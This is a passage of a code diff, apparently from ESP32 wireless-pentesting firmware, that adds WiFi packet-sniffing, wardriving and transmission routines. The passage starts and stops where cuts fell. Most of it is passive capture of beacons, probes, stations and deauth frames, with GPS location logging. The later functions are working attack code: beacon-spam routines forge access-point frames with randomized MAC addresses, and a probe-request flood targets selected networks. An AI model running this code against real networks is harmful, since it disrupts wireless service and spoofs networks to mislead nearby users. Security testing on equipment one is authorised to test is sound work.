+          essid.concat((char)snifferPacket->payload[i + 38]);
+
+          
+        }
+
+        bssid.concat(addr);
+  
+        int temp_len = display_string.length();
+        for (int i = 0; i < 40 - temp_len; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+
+        #ifdef HAS_SCREEN
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+        
+        if (essid == "") {
+          essid = bssid;
+          Serial.print(essid + " ");
+        }
+        
+        AccessPoint ap = {essid,
+                          snifferPacket->rx_ctrl.channel,
+                          {snifferPacket->payload[10],
+                           snifferPacket->payload[11],
+                           snifferPacket->payload[12],
+                           snifferPacket->payload[13],
+                           snifferPacket->payload[14],
+                           snifferPacket->payload[15]},
+                          false,
+                          NULL,
+                          snifferPacket->rx_ctrl.rssi,
+                          new LinkedList<uint8_t>()};
+
+        access_points->add(ap);
+
+        Serial.print(access_points->size());
+        Serial.print(" ");
+        Serial.print(esp_get_free_heap_size());
+
+        Serial.println();
+
+        addPacket(snifferPacket, len);
+      }
+    }
+  }
+}
+
+void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  extern WiFiScan wifi_scan_obj;
+
+  #ifdef HAS_GPS
+    extern GpsInterface gps_obj;
+    extern EvilPortal evil_portal_obj;
+  #endif
+
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buff = display_obj.display_buffer->size();
+    #else
+      int buff = 0;
+    #endif
+    // It is a beacon
+    if ((snifferPacket->payload[0] == 0x80) && (buff == 0))
+    {
+      // Do signal strength stuff first
+      if (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) {
+        bool found = false;
+        uint8_t targ_index = 0;
+        AccessPoint targ_ap;
+
+        // Check list of APs
+        for (int i = 0; i < access_points->size(); i++) {
+          if (access_points->get(i).selected) {
+            uint8_t addr[] = {snifferPacket->payload[10],
+                              snifferPacket->payload[11],
+                              snifferPacket->payload[12],
+                              snifferPacket->payload[13],
+                              snifferPacket->payload[14],
+                              snifferPacket->payload[15]};
+            // Compare AP bssid to ssid of recvd packet
+            for (int x = 0; x < 6; x++) {
+              if (addr[x] != access_points->get(i).bssid[x]) {
+                found = false;
+                break;
+              }
+              else
+                found = true;
+            }
+            if (found) {
+              //Serial.println("Received beacon from " + access_points->get(i).essid + ". Checking RSSI...");
+              targ_ap = access_points->get(i);
+              targ_index = i;
+              break;
+            }
+          }
+        }
+        if (!found)
+          return;
+
+        if ((targ_ap.rssi + 5 < snifferPacket->rx_ctrl.rssi) || (snifferPacket->rx_ctrl.rssi + 5 < targ_ap.rssi)) {
+          targ_ap.rssi = snifferPacket->rx_ctrl.rssi;
+          access_points->set(targ_index, targ_ap);
+          Serial.println((String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi);
+          return;
+        }
+      }
+
+      else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) {
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        char addr[] = "00:00:00:00:00:00";
+        getMAC(addr, snifferPacket->payload, 10);
+        Serial.print(addr);
+        display_string.concat(addr);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+        for (int i = 0; i < snifferPacket->payload[37]; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          display_string.concat((char)snifferPacket->payload[i + 38]);
+        }
+
+        int temp_len = display_string.length();
+
+        #ifdef HAS_SCREEN
+          for (int i = 0; i < 40 - temp_len; i++)
+          {
+            display_string.concat(" ");
+          }
+    
+          Serial.print(" ");
+    
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+
+        Serial.println();
+
+        addPacket(snifferPacket, len);
+      }
+      else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_WAR_DRIVE) {
+        #ifdef HAS_GPS
+          if (gps_obj.getGpsModuleStatus()) {
+            bool do_save = false;  
+
+            // Check if we've already seen this AP
+            char addr[] = "00:00:00:00:00:00";
+            getMAC(addr, snifferPacket->payload, 10);
+            if (wifi_scan_obj.seen_mac(reinterpret_cast<unsigned char*>(addr)))
+              return;
+
+            Serial.print("RSSI: ");
+            Serial.print(snifferPacket->rx_ctrl.rssi);
+            Serial.print(" Ch: ");
+            Serial.print(snifferPacket->rx_ctrl.channel);
+
+            if (snifferPacket->payload[37] > 0) {
+              Serial.print(" ESSID: ");
+              for (int i = 0; i < snifferPacket->payload[37]; i++)
+              {
+                Serial.print((char)snifferPacket->payload[i + 38]);
+                display_string.concat((char)snifferPacket->payload[i + 38]);
+                essid.concat((char)snifferPacket->payload[i + 38]);
+              }
+            }
+            else {
+              Serial.print(" BSSID: ");
+              Serial.print(addr);
+              display_string.concat(addr);
+            }
+
+            if (gps_obj.getFixStatus()) {
+              do_save = true;
+              display_string.concat(" | Lt: " + gps_obj.getLat());
+              display_string.concat(" | Ln: " + gps_obj.getLon());
+            }
+            else
+              display_string.concat(" | GPS: No Fix");
+
+            int temp_len = display_string.length();
+
+            #ifdef HAS_SCREEN
+              for (int i = 0; i < 40 - temp_len; i++)
+              {
+                display_string.concat(" ");
+              }
+        
+              Serial.print(" ");
+        
+              if (display_obj.display_buffer->size() == 0)
+              {
+                display_obj.loading = true;
+                display_obj.display_buffer->add(display_string);
+                display_obj.loading = false;
+              }
+            #endif
+
+            Serial.println();
+
+            wifi_scan_obj.save_mac(reinterpret_cast<unsigned char*>(addr));
+
+            int n = WiFi.scanNetworks(false, true, false, 110, wifi_scan_obj.set_channel);
+
+            if (do_save) {
+              if (n > 0) {
+                for (int i = 0; i < n; i++) {
+                  Serial.printf("%-32.32s", WiFi.SSID(i).c_str());
+                  Serial.print(" -> ");
+                  Serial.println(wifi_scan_obj.security_int_to_string(WiFi.encryptionType(i)).c_str());
+                }
+              }
+              String wardrive_line = (String)addr + "," + essid + "," + wifi_scan_obj.security_int_to_string(snifferPacket->rx_ctrl.channel) + "," + gps_obj.getDatetime() + "," + (String)snifferPacket->rx_ctrl.channel + "," + (String)snifferPacket->rx_ctrl.rssi + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI";
+              Serial.println(wardrive_line);
+              //evil_portal_obj.addLog(wardrive_line, wardrive_line.length());
+            }
+          }
+        #endif
+      }      
+    }
+  }
+}
+
+void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String mac = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  char ap_addr[] = "00:00:00:00:00:00";
+  char dst_addr[] = "00:00:00:00:00:00";
+
+  int ap_index = 0;
+
+  // Check if frame has ap in list of APs and determine position
+  uint8_t frame_offset = 0;
+  int offsets[2] = {10, 4};
+  bool matched_ap = false;
+  bool ap_is_src = false;
+
+  bool mac_match = true;
+
+  for (int y = 0; y < 2; y++) {
+    for (int i = 0; i < access_points->size(); i++) {
+      mac_match = true;
+      
+      for (int x = 0; x < 6; x++) {
+        //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+        if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
+          mac_match = false;
+          break;
+        }
+      }
+      if (mac_match) {
+        matched_ap = true;
+        if (offsets[y] == 10)
+          ap_is_src = true;
+        ap_index = i;
+        getMAC(ap_addr, snifferPacket->payload, offsets[y]);
+        break;
+      }
+    }
+    if (matched_ap)
+      break;
+  }
+
+  // If did not find ap from list in frame, drop frame
+  if (!matched_ap)
+    return;
+  else {
+    if (ap_is_src)
+      frame_offset = 4;
+    else
+      frame_offset = 10;
+  }
+  /*  Stuff to care about now
+   *  ap_is_src
+   *  ap_index
+   */
+  
+
+  // Check if we already have this station
+  bool in_list = false;
+  for (int i = 0; i < stations->size(); i++) {
+    mac_match = true;
+    
+    for (int x = 0; x < 6; x++) {
+      //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+      if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
+        mac_match = false;
+        //Serial.println("MACs do not match");
+        break;
+      }
+    }
+    if (mac_match) {
+      in_list = true;
+      break;
+    }
+  }
+
+  getMAC(dst_addr, snifferPacket->payload, 4);
+
+  // Check if dest is broadcast
+  if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
+    return;
+  
+  // Add to list of stations
+  Station sta = {
+                {snifferPacket->payload[frame_offset],
+                 snifferPacket->payload[frame_offset + 1],
+                 snifferPacket->payload[frame_offset + 2],
+                 snifferPacket->payload[frame_offset + 3],
+                 snifferPacket->payload[frame_offset + 4],
+                 snifferPacket->payload[frame_offset + 5]},
+                false};
+
+  stations->add(sta);
+
+  // Print findings to serial
+  Serial.print((String)stations->size() + ": ");
+  
+  char sta_addr[] = "00:00:00:00:00:00";
+  
+  if (ap_is_src) {
+    Serial.print("ap: ");
+    Serial.print(ap_addr);
+    Serial.print(" -> sta: ");
+    getMAC(sta_addr, snifferPacket->payload, 4);
+    Serial.println(sta_addr);
+  }
+  else {
+    Serial.print("sta: ");
+    getMAC(sta_addr, snifferPacket->payload, 10);
+    Serial.print(sta_addr);
+    Serial.print(" -> ap: ");
+    Serial.println(ap_addr);
+  }
+  display_string.concat(sta_addr);
+  display_string.concat(" -> ");
+  display_string.concat(access_points->get(ap_index).essid);
+
+  int temp_len = display_string.length();
+
+  #ifdef HAS_SCREEN
+    for (int i = 0; i < 40 - temp_len; i++)
+    {
+      display_string.concat(" ");
+    }
+
+    Serial.print(" ");
+
+    if (display_obj.display_buffer->size() == 0)
+    {
+      display_obj.loading = true;
+      display_obj.display_buffer->add(display_string);
+      display_obj.loading = false;
+    }
+  #endif
+
+  // Add station index to AP in list
+  //access_points->get(ap_index).stations->add(stations->size() - 1);
+
+  AccessPoint ap = access_points->get(ap_index);
+  ap.stations->add(stations->size() - 1);
+
+  access_points->set(ap_index, ap);
+
+  addPacket(snifferPacket, len);
+}
+
+void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  extern WiFiScan wifi_scan_obj;
+
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  if (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) {
+    bool found = false;
+    uint8_t targ_index = 0;
+    AccessPoint targ_ap;
+
+    // Check list of APs
+    for (int i = 0; i < access_points->size(); i++) {
+      if (access_points->get(i).selected) {
+        uint8_t addr[] = {snifferPacket->payload[10],
+                          snifferPacket->payload[11],
+                          snifferPacket->payload[12],
+                          snifferPacket->payload[13],
+                          snifferPacket->payload[14],
+                          snifferPacket->payload[15]};
+        // Compare AP bssid to ssid of recvd packet
+        for (int x = 0; x < 6; x++) {
+          if (addr[x] != access_points->get(i).bssid[x]) {
+            found = false;
+            break;
+          }
+          else
+            found = true;
+        }
+        if (found) {
+          targ_ap = access_points->get(i);
+          targ_index = i;
+          break;
+        }
+      }
+    }
+    if (!found)
+      return;
+
+    if ((targ_ap.rssi + 5 < snifferPacket->rx_ctrl.rssi) || (snifferPacket->rx_ctrl.rssi + 5 < targ_ap.rssi)) {
+      targ_ap.rssi = snifferPacket->rx_ctrl.rssi;
+      access_points->set(targ_index, targ_ap);
+      Serial.print((String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi);
+      display_string = (String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi;
+    }
+    else
+      return;
+  }
+
+  else {
+    Serial.print("RSSI: ");
+    Serial.print(snifferPacket->rx_ctrl.rssi);
+    Serial.print(" Ch: ");
+    Serial.print(snifferPacket->rx_ctrl.channel);
+    Serial.print(" BSSID: ");
+    char addr[] = "00:00:00:00:00:00";
+    getMAC(addr, snifferPacket->payload, 10);
+    Serial.print(addr);
+    display_string.concat(text_table4[0]);
+    display_string.concat(snifferPacket->rx_ctrl.rssi);
+
+    display_string.concat(" ");
+    display_string.concat(addr);
+  }
+
+  int temp_len = display_string.length();
+
+  #ifdef HAS_SCREEN
+    for (int i = 0; i < 40 - temp_len; i++)
+    {
+      display_string.concat(" ");
+    }
+
+    Serial.print(" ");
+
+    if (display_obj.display_buffer->size() == 0)
+    {
+      display_obj.loading = true;
+      display_obj.display_buffer->add(display_string);
+      display_obj.loading = false;
+    }
+  #endif
+
+  Serial.println();
+
+  addPacket(snifferPacket, len);
+}
+
+void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
+    {
+      delay(random(0, 10));
+      Serial.print("RSSI: ");
+      Serial.print(snifferPacket->rx_ctrl.rssi);
+      Serial.print(" Ch: ");
+      Serial.print(snifferPacket->rx_ctrl.channel);
+      Serial.print(" BSSID: ");
+      char addr[] = "00:00:00:00:00:00";
+      char dst_addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      getMAC(dst_addr, snifferPacket->payload, 4);
+      Serial.print(addr);
+      Serial.print(" -> ");
+      Serial.print(dst_addr);
+      display_string.concat(text_table4[0]);
+      display_string.concat(snifferPacket->rx_ctrl.rssi);
+
+      display_string.concat(" ");
+      display_string.concat(addr);
+
+      #ifdef HAS_SCREEN
+        for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+  
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+      
+      Serial.println();
+
+      addPacket(snifferPacket, len);
+    }
+  }
+}
+
+void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
+    {
+      delay(random(0, 10));
+      Serial.print("RSSI: ");
+      Serial.print(snifferPacket->rx_ctrl.rssi);
+      Serial.print(" Ch: ");
+      Serial.print(snifferPacket->rx_ctrl.channel);
+      Serial.print(" Client: ");
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      Serial.print(addr);
+      display_string.concat(addr);
+      Serial.print(" Requesting: ");
+      display_string.concat(" -> ");
+      for (int i = 0; i < snifferPacket->payload[25]; i++)
+      {
+        Serial.print((char)snifferPacket->payload[26 + i]);
+        display_string.concat((char)snifferPacket->payload[26 + i]);
+      }
+
+      // Print spaces because of the rotating lines of the hardware scroll.
+      // The same characters print from previous lines so I just overwrite them
+      // with spaces.
+      #ifdef HAS_SCREEN
+        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        if (display_obj.display_buffer->size() == 0)
+        {
+          //while (display_obj.printing)
+          //  delay(1);
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+      
+      Serial.println();    
+
+      addPacket(snifferPacket, len);
+    }
+  }
+}
+
+void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+  bool found = false;
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
+    {
+
+      for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
+      {
+        essid.concat((char)snifferPacket->payload[26 + i]);
+      }
+
+      for (int i = 0; i < ssids->size(); i++) {
+        if (ssids->get(i).essid == essid) {
+          Serial.println("Found a sheep");
+          found = true;
+          break;
+        }
+      }
+
+      if (!found)
+        return;
+      
+      delay(random(0, 10));
+      Serial.print("RSSI: ");
+      Serial.print(snifferPacket->rx_ctrl.rssi);
+      Serial.print(" Ch: ");
+      Serial.print(snifferPacket->rx_ctrl.channel);
+      Serial.print(" Client: ");
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      Serial.print(addr);
+      display_string.concat(addr);
+      Serial.print(" Requesting: ");
+      display_string.concat(" -> ");
+
+      // ESSID
+      for (int i = 0; i < snifferPacket->payload[25]; i++)
+      {
+        Serial.print((char)snifferPacket->payload[26 + i]);
+        display_string.concat((char)snifferPacket->payload[26 + i]);
+      }
+
+      // Print spaces because of the rotating lines of the hardware scroll.
+      // The same characters print from previous lines so I just overwrite them
+      // with spaces.
+      #ifdef HAS_SCREEN
+        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+      
+      Serial.println();    
+
+      addPacket(snifferPacket, len);
+    }
+  }
+}
+
+void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
+  set_channel = random(1,12); 
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  if (custom_ssid.beacon->size() == 0)
+    return;
+
+
+  // Randomize SRC MAC
+  // Randomize SRC MAC
+  packet[10] = packet[16] = random(256);
+  packet[11] = packet[17] = random(256);
+  packet[12] = packet[18] = random(256);
+  packet[13] = packet[19] = random(256);
+  packet[14] = packet[20] = random(256);
+  packet[15] = packet[21] = random(256);
+
+  char ESSID[custom_ssid.essid.length() + 1] = {};
+  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
+
+  int realLen = strlen(ESSID);
+  int ssidLen = random(realLen, 33);
+  int numSpace = ssidLen - realLen;
+  //int rand_len = sizeof(rand_reg);
+  int fullLen = ssidLen;
+  packet[37] = fullLen;
+
+  // Insert my tag
+  for(int i = 0; i < realLen; i++)
+    packet[38 + i] = ESSID[i];
+
+  for(int i = 0; i < numSpace; i++)
+    packet[38 + realLen + i] = 0x20;
+
+  /////////////////////////////
+  
+  packet[50 + fullLen] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  //for(int i = 0; i < 12; i++) 
+  //  packet[38 + fullLen + i] = postSSID[i];
+
+  packet[34] = custom_ssid.beacon->get(0);
+  packet[35] = custom_ssid.beacon->get(1);
+  
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
+  set_channel = custom_ssid.channel;
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  // Randomize SRC MAC
+  packet[10] = packet[16] = custom_ssid.bssid[0];
+  packet[11] = packet[17] = custom_ssid.bssid[1];
+  packet[12] = packet[18] = custom_ssid.bssid[2];
+  packet[13] = packet[19] = custom_ssid.bssid[3];
+  packet[14] = packet[20] = custom_ssid.bssid[4];
+  packet[15] = packet[21] = custom_ssid.bssid[5];
+
+  char ESSID[custom_ssid.essid.length() + 1] = {};
+  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
+
+  int ssidLen = strlen(ESSID);
+  //int rand_len = sizeof(rand_reg);
+  int fullLen = ssidLen;
+  packet[37] = fullLen;
+
+  // Insert my tag
+  for(int i = 0; i < ssidLen; i++)
+    packet[38 + i] = ESSID[i];
+
+  /////////////////////////////
+  
+  packet[50 + fullLen] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  for(int i = 0; i < 12; i++) 
+    packet[38 + fullLen + i] = postSSID[i];
+  
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+// Function to send beacons with random ESSID length
+void WiFiScan::broadcastSetSSID(uint32_t current_time, const char* ESSID) {
+  set_channel = random(1,12); 
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  // Randomize SRC MAC
+  packet[10] = packet[16] = random(256);
+  packet[11] = packet[17] = random(256);
+  packet[12] = packet[18] = random(256);
+  packet[13] = packet[19] = random(256);
+  packet[14] = packet[20] = random(256);
+  packet[15] = packet[21] = random(256);
+
+  int ssidLen = strlen(ESSID);
+  //int rand_len = sizeof(rand_reg);
+  int fullLen = ssidLen;
+  packet[37] = fullLen;
+
+  // Insert my tag
+  for(int i = 0; i < ssidLen; i++)
+    packet[38 + i] = ESSID[i];
+
+  /////////////////////////////
+  
+  packet[50 + fullLen] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  for(int i = 0; i < 12; i++) 
+    packet[38 + fullLen + i] = postSSID[i];
+  
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+  packets_sent = packets_sent + 3;
+  
+}
+
+// Function for sending crafted beacon frames
+void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
+
+  set_channel = random(1,12); 
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  // Randomize SRC MAC
+  packet[10] = packet[16] = random(256);
+  packet[11] = packet[17] = random(256);
+  packet[12] = packet[18] = random(256);
+  packet[13] = packet[19] = random(256);
+  packet[14] = packet[20] = random(256);
+  packet[15] = packet[21] = random(256);
+
+  packet[37] = 6;
+  
+  
+  // Randomize SSID (Fixed size 6. Lazy right?)
+  packet[38] = alfa[random(65)];
+  packet[39] = alfa[random(65)];
+  packet[40] = alfa[random(65)];
+  packet[41] = alfa[random(65)];
+  packet[42] = alfa[random(65)];
+  packet[43] = alfa[random(65)];
+  
+  packet[56] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  for(int i = 0; i < 12; i++) 
+    packet[38 + 6 + i] = postSSID[i];
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
+  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
+
+  packets_sent = packets_sent + 3;
+}
+
+// Function to send probe flood to all "active" access points
+void WiFiScan::sendProbeAttack(uint32_t currentTime) {
+  // Itterate through all access points in list
+  for (int i = 0; i < access_points->size(); i++) {
+
+    // Check if active
+    if (access_points->get(i).selected) {
+      this->set_channel = access_points->get(i).channel;
+      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+      delay(1);
+      
+      // Build packet
+      // Randomize SRC MAC
+      
+      prob_req_packet[10] = random(256);
+      prob_req_packet[11] = random(256);
+      prob_req_packet[12] = random(256);
+      prob_req_packet[13] = random(256);
+      prob_req_packet[14] = random(256);
+      prob_req_packet[15] = random(256);
+
+      // Set SSID length
+      int ssidLen = access_points->get(i).essid.length();
+      int fullLen = ssidLen;
+      prob_req_packet[25] = fullLen;
+
+      // Insert ESSID
+      char buf[access_points->get(i).essid.length() + 1] = {};
+      access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
+      
+      for(int i = 0; i < ssidLen; i++)
+        prob_req_packet[26 + i] = buf[i];
+
+      uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12, 
+                              0x18, 0x24, 0x30, 0x48, 0x60, 0x6c, 
+                              0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff, 
+                              0xff, 0x00, 0x00, 0x7e, 0x00, 0x00, 
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
+                              0x00, 0x00, 0x00, 0x00};
+
+      uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
+      
+      for (int i = 0; i < 26 + fullLen; i++)
